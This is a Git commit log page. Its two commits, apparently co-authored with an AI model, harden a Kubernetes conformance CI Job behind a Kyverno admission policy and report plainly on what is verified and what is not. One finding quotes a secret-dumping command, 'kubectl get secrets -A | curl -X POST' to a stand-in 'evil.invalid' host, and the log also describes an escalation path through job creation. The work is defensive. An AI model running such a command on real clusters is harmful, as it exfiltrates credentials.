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2 Commits
Author SHA1 Message Date
jakman85andClaude Opus 5 6ef4def2b5 feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:01:33 -05:00
jakman85andClaude Opus 5 8eb5baffa4 feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)
gate / gate (pull_request) Successful in 1m38s
gate / conformance (pull_request) Has been skipped
Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).

THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.

Adds:
  * SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
    pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
    failed run), no exec, no secrets. Results come back as a tarball on stdout read via
    pods/log, so no execution channel into the runner pod is ever granted.
  * ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
    use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
    is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
    the rest of the cluster.
  * Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
    like apps-vms, so a test identity can never stall the platform or app tiers.
  * A kyverno test with seven cases, six of them real escalation paths.

VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
  evil-command    DENIED at /spec/template/spec/containers/0/command/   <- THE attack
  evil-image      DENIED at .../image/
  tag-not-digest  DENIED at .../image/          (mutable tag is republishable)
  host-namespaces DENIED at /spec/template/spec/hostPID/
  extra-volume    DENIED by the volumes foreach
  injected-args   DENIED by the args foreach
  good-run        ADMITTED

ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.

IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.

NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 03:22:41 -05:00